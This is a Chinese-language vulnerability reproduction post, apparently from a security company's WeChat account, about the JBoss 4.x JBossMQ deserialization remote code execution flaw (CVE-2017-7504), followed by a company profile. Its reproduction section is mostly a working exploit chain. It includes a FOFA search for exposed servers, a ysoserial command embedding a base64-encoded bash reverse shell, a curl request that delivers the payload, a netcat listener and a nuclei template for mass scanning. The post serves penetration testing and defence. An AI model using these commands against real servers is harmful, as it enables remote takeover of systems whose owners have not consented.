0x01 漏洞描述
JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。Red Hat JbossAS4.X 及之前的版本中的JbossMQ实现过程的JMSoverHTTPInvocationLayer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
0x02 漏洞复现
漏洞影响:JBoss AS 4.x及之前版本
FOFA:app="jboss"
1.访问存在漏洞页面,存在如图页面
http://x.x.x.x:8080/jbossmq-httpil/HTTPServerILServlet
2.使用ysoserial工具生成反弹shell的payload文件1.ser并执行(注:需要改为base64编码解码的反弹shell脚本)(需要此工具公众号发送ysoserial即可获得)
编码地址:
https://ir0ny.top/pentest/reverse-encoder-shell.html
反弹shell脚本:
java -jar ysoserial-master.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > 1.ser
执行1.ser:
curl http://x.x.x.x:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
3. nc监听得到一个shell
nc -lnvp 7777
4.使用nuclei批量验证1.txt文件中的url是否存在该漏洞,显示存在漏洞。(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei -list 1.txt -t CVE-2017-7504.yaml
yaml POC:
id: CVE-2017-7504
info:
name: JBoss 4.x JBossMQ JMS 反序列化漏洞
author: sm
severity: critical
requests:
- method: GET
path:
- "{{BaseURL}}/jbossmq-httpil/HTTPServerILServlet"
matchers:
- type: word
words:
- "This is the JBossMQ HTTP-IL"
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现-CVE-2017-7504 JBoss反序列化远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论